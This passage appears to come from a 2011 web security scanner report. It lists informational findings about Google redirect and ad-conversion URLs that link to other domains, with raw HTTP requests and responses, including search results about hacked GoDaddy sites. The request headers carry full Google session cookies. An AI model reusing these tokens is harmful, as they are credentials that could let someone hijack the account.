Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjLggJuPZagSb_-dzKijS1WNMY9j-KLCCbIkdL5gFUKxj425Av1q5M48IS5j1lYOObs1zt7iBSUPDIs8jDHA7BNSVBwNR2nv_wfJPRoa5UYs7rUEP3-cdk3lbIVVG7eniEMusm6ux7K_9KyH7qPXchvacU1HerezJNMU_4wP5jYYqqnYQQmTLUmsqdiiIkvWpvD7gxzfPW2Y7ijG9aRGGBnwWnoSSqmkJqo5RS7cgEFhp_Lzt2RC_Uv98s0HAymWMstKwJjU4OCemwWpmfSMU83cZ-hazCj5scCqbY8o2nlC4

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:59:25 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Get-Dictionary: /sdch/sXoKgwNA.dct
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 111844

<!doctype html> <head> <title>godaddy hack - Google Search</title> <script>window.google={kEI:"fY5zTurrAYHhiALttMGzAg",getEI:function(a){var b;while(a&&!(a.getAttribute&&(b=a.getAttribute("eid"
...[SNIP]...
<li class=gbmtc><a onclick=gbar.qs(this) class=gbmt id=gb_36 href="http://www.youtube.com/results?q=godaddy+hack&um=1&ie=UTF-8&sa=N&hl=en&tab=w1" onclick="gbar.logger.il(1,{t:36})">YouTube</a>
...[SNIP]...
<h3 class="r"><a href="http://www.tgdaily.com/security-features/49744-go-daddy-counters-php-hack-attacks" class=l onmousedown="return clk(this,this.href,'','','','1','','0CCAQFjAA')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:n18vlu4qVDsJ:www.tgdaily.com/security-features/49744-go-daddy-counters-php-hack-attacks+godaddy+hack&cd=1&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','1','','0CCMQIDAA')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html" class=l onmousedown="return clk(this,this.href,'','','','2','','0CCgQFjAB')">Second round of <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:IgwrKnXkR2MJ:blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html+godaddy+hack&cd=2&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','2','','0CCsQIDAB')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.zdnet.com/blog/ou/godaddy-hosting-customers-victim-to-massive-hack/239" class=l onmousedown="return clk(this,this.href,'','','','3','','0CDAQFjAC')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:9ChWSESVTPkJ:www.zdnet.com/blog/ou/godaddy-hosting-customers-victim-to-massive-hack/239+godaddy+hack&cd=3&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','3','','0CDMQIDAC')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.blogtips.org/godaddy-sites-hacked-again/" class=l onmousedown="return clk(this,this.href,'','','','4','','0CDgQFjAD')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:KpaDP6wa_H8J:www.blogtips.org/godaddy-sites-hacked-again/+godaddy+hack&cd=4&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','4','','0CDsQIDAD')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/" class=l onmousedown="return clk(this,this.href,'','','','5','','0CEAQFjAE')">Warning! Massive Number of <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:w5I-7p9tXKoJ:blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/+godaddy+hack&cd=5&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','5','','0CEMQIDAE')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" class=l onmousedown="return clk(this,this.href,'','','','6','','0CEgQFjAF')">Hosting With <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:ruWFRAUj5a4J:smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/+godaddy+hack&cd=6&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','6','','0CEsQIDAF')">Cached</a>
...[SNIP]...
<h3 class=r><a href="http://www.dailymotion.com/video/x94fzn_godaddy-hack-get-2-domains-for-free_tech" class=l onmousedown="return clk(this,this.href,'','6568986688430671402','','7','','0CFAQtwIwBg')">Dailymotion - <em>
...[SNIP]...
<h3 class="r"><a href="http://www.techrepublic.com/forum/discussions/8-195624" class=l onmousedown="return clk(this,this.href,'','','','8','','0CFkQFjAH')">Discussion on <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:N0i3F2vY_nMJ:www.techrepublic.com/forum/discussions/8-195624+godaddy+hack&cd=8&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','8','','0CFwQIDAH')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://theandystratton.com/2010/godaddy-shared-linux-hosting-hack-fix" class=l onmousedown="return clk(this,this.href,'','','','9','','0CGAQFjAI')">Fix Malware <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:E9DHuWrQGU4J:theandystratton.com/2010/godaddy-shared-linux-hosting-hack-fix+godaddy+hack&cd=9&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','9','','0CGMQIDAI')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.wpsecuritylock.com/breaking-news-wordpress-hacked-with-holasionweb-on-go-daddy/" class=l onmousedown="return clk(this,this.href,'','','','10','','0CGgQFjAJ')">WordPress <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:tYBKn3h7_MEJ:www.wpsecuritylock.com/breaking-news-wordpress-hacked-with-holasionweb-on-go-daddy/+godaddy+hack&cd=10&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','10','','0CGsQIDAJ')">Cached</a>
...[SNIP]...

15.61. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=5&sqi=2&ved=0CFQQFjAE&url=http%3A%2F%2Fwww.thewhir.com%2Fweb-hosting-news%2F091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites&ei=fY5zTprQDYvRiALfuNS0Ag&usg=AFQjCNEmkL-TOFGiXDyi69WmHCMamxiTRw

The response contains the following link to another domain:

http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Request

GET /url?sa=t&source=web&cd=5&sqi=2&ved=0CFQQFjAE&url=http%3A%2F%2Fwww.thewhir.com%2Fweb-hosting-news%2F091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites&ei=fY5zTprQDYvRiALfuNS0Ag&usg=AFQjCNEmkL-TOFGiXDyi69WmHCMamxiTRw HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack#sclient=psy-ab&hl=en&tbo=1&tbs=qdr:w&source=hp&q=godaddy%20malware%20attack&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&tbo=1&fp=1&biw=1407&bih=1005&pf=p&pdl=500&bav=on.2,or.r_gc.r_pw.&cad=b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjLggJuPZagSb_-dzKijS1WNMY9j-KLCCbIkdL5gFUKxj425Av1q5M48IS5j1lYOObs1zt7iBSUPDIs8jDHA7BNSVBwNR2nv_wfJPRoa5UYs7rUEP3-cdk3lbIVVG7eniEMusm6ux7K_9KyH7qPXchvacU1HerezJNMU_4wP5jYYqqnYQQmTLUmsqdiiIkvWpvD7gxzfPW2Y7ijG9aRGGBnwWnoSSqmkJqo5RS7cgEFhp_Lzt2RC_Uv98s0HAymWMstKwJjU4OCemwWpmfSMU83cZ-hazCj5scCqbY8o2nlC4

Response

HTTP/1.1 302 Found
Location: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Sep 2011 18:00:17 GMT
Server: gws
Content-Length: 295
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites">here</A>
...[SNIP]...

15.62. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=2&sqi=2&ved=0CIQBEBYwAQ&url=http%3A%2F%2Fwww.apache.org%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNE2weBEBTKu2eVr4jXdEGUZivQtTQ

The response contains the following link to another domain:

http://www.apache.org/

Request

GET /url?sa=t&source=web&cd=2&sqi=2&ved=0CIQBEBYwAQ&url=http%3A%2F%2Fwww.apache.org%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNE2weBEBTKu2eVr4jXdEGUZivQtTQ HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server#pq=smtp+server&hl=en&sugexp=gsis%2Ci18n%3Dtrue&cp=2&gs_id=7&xhr=t&q=web+server&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=we+server&aq=0c&aqi=g-c4&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.&fp=b659e1e8b520709&biw=1147&bih=870
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df

Response

HTTP/1.1 302 Found
Location: http://www.apache.org/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Sep 2011 16:16:41 GMT
Server: gws
Content-Length: 219
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.apache.org/">here</A>
...[SNIP]...

15.63. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=13&sqi=2&ved=0CMoBEBYwDA&url=http%3A%2F%2Fwww.aprelium.com%2Fabyssws%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNFTLLZy51EpBVUwbIZJF-Fva9QsSg

The response contains the following link to another domain:

http://www.aprelium.com/abyssws/

Request

GET /url?sa=t&source=web&cd=13&sqi=2&ved=0CMoBEBYwDA&url=http%3A%2F%2Fwww.aprelium.com%2Fabyssws%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNFTLLZy51EpBVUwbIZJF-Fva9QsSg HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server#pq=smtp+server&hl=en&sugexp=gsis%2Ci18n%3Dtrue&cp=2&gs_id=7&xhr=t&q=web+server&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=we+server&aq=0c&aqi=g-c4&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.&fp=b659e1e8b520709&biw=1147&bih=870
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df

Response

HTTP/1.1 302 Found
Location: http://www.aprelium.com/abyssws/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Sep 2011 16:17:02 GMT
Server: gws
Content-Length: 229
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.aprelium.com/abyssws/">here</A>
...[SNIP]...

15.64. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=12&sqi=2&ved=0CMIBEBYwCw&url=http%3A%2F%2Funite.opera.com%2Fapplication%2F192%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNEnOZIllr_lFQnf_fpJbTCoPV8HbA

The response contains the following link to another domain:

http://unite.opera.com/application/192/

Request

GET /url?sa=t&source=web&cd=12&sqi=2&ved=0CMIBEBYwCw&url=http%3A%2F%2Funite.opera.com%2Fapplication%2F192%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNEnOZIllr_lFQnf_fpJbTCoPV8HbA HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server#pq=smtp+server&hl=en&sugexp=gsis%2Ci18n%3Dtrue&cp=2&gs_id=7&xhr=t&q=web+server&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=we+server&aq=0c&aqi=g-c4&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.&fp=b659e1e8b520709&biw=1147&bih=870
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df

Response

HTTP/1.1 302 Found
Location: http://unite.opera.com/application/192/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Sep 2011 16:16:57 GMT
Server: gws
Content-Length: 236
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://unite.opera.com/application/192/">here</A>
...[SNIP]...

15.65. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=1&sqi=2&ved=0CDgQFjAA&url=http%3A%2F%2Fblog.teethremoval.com%2Fnote-on-malware-godaddy-shared-servers-compromised%2F&ei=fY5zTprQDYvRiALfuNS0Ag&usg=AFQjCNG6qlpXe0Ejp3TZy0lBB8NOjr5sSA

The response contains the following link to another domain:

http://blog.teethremoval.com/note-on-malware-godaddy-shared-servers-compromised/

Request

GET /url?sa=t&source=web&cd=1&sqi=2&ved=0CDgQFjAA&url=http%3A%2F%2Fblog.teethremoval.com%2Fnote-on-malware-godaddy-shared-servers-compromised%2F&ei=fY5zTprQDYvRiALfuNS0Ag&usg=AFQjCNG6qlpXe0Ejp3TZy0lBB8NOjr5sSA HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack#sclient=psy-ab&hl=en&tbo=1&tbs=qdr:w&source=hp&q=godaddy%20malware%20attack&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&tbo=1&fp=1&biw=1407&bih=1005&pf=p&pdl=500&bav=on.2,or.r_gc.r_pw.&cad=b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjLggJuPZagSb_-dzKijS1WNMY9j-KLCCbIkdL5gFUKxj425Av1q5M48IS5j1lYOObs1zt7iBSUPDIs8jDHA7BNSVBwNR2nv_wfJPRoa5UYs7rUEP3-cdk3lbIVVG7eniEMusm6ux7K_9KyH7qPXchvacU1HerezJNMU_4wP5jYYqqnYQQmTLUmsqdiiIkvWpvD7gxzfPW2Y7ijG9aRGGBnwWnoSSqmkJqo5RS7cgEFhp_Lzt2RC_Uv98s0HAymWMstKwJjU4OCemwWpmfSMU83cZ-hazCj5scCqbY8o2nlC4

Response

HTTP/1.1 302 Found
Location: http://blog.teethremoval.com/note-on-malware-godaddy-shared-servers-compromised/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Sep 2011 18:00:04 GMT
Server: gws
Content-Length: 277
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://blog.teethremoval.com/note-on-malware-godaddy-shared-servers-compromised/">here</A>
...[SNIP]...

15.66. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=3&sqi=2&ved=0CIwBEBYwAg&url=http%3A%2F%2Fhttpd.apache.org%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNGyImC8Qi-rx_Bxd9knbUGKMxH5TQ

The response contains the following link to another domain:

http://httpd.apache.org/

Request

GET /url?sa=t&source=web&cd=3&sqi=2&ved=0CIwBEBYwAg&url=http%3A%2F%2Fhttpd.apache.org%2F&ei=W3ZzTvaPGcfisQKX6dWLBQ&usg=AFQjCNGyImC8Qi-rx_Bxd9knbUGKMxH5TQ HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server#pq=smtp+server&hl=en&sugexp=gsis%2Ci18n%3Dtrue&cp=2&gs_id=7&xhr=t&q=web+server&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=we+server&aq=0c&aqi=g-c4&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.&fp=b659e1e8b520709&biw=1147&bih=870
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df

Response

HTTP/1.1 302 Found
Location: http://httpd.apache.org/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Sep 2011 16:16:43 GMT
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://httpd.apache.org/">here</A>
...[SNIP]...

15.67. http://www.googleadservices.com/pagead/conversion/1036609180/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/conversion/1036609180/

Issue detail

The page was loaded from a URL containing a query string:

http://www.googleadservices.com/pagead/conversion/1036609180/?random=1316204997440&cv=6&fst=1316204997419&num=4&fmt=1&value=0&label=y7DnCNTo-wEQnM2l7gM&bg=666666&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=3&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&url=http%3A//www.blackbaud.com/

The response contains the following link to another domain:

https://services.google.com/sitestats/en_US.html?cid=1036609180

Request

GET /pagead/conversion/1036609180/?random=1316204997440&cv=6&fst=1316204997419&num=4&fmt=1&value=0&label=y7DnCNTo-wEQnM2l7gM&bg=666666&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=3&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&url=http%3A//www.blackbaud.com/ HTTP/1.1
Host: www.googleadservices.com
Proxy-Connection: keep-alive
Referer: http://seg.sharethis.com/getSegment.php?purl=http%3A%2F%2Fwww.blackbaud.com%2F&jsref=&rnd=1316204996203
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Set-Cookie: PREF=; Max-Age=0; Path=/; Version=1; Domain=.www.googleadservices.com
Date: Fri, 16 Sep 2011 15:29:22 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1036609180/?random=1316204997440&cv=6&fst=1316204997419&num=4&fmt=1&value=0&label=y7DnCNTo-wEQnM2l7gM&bg=666666&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=3&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&url=http%3A//www.blackbaud.com/&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=true
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 381
X-XSS-Protection: 1; mode=block

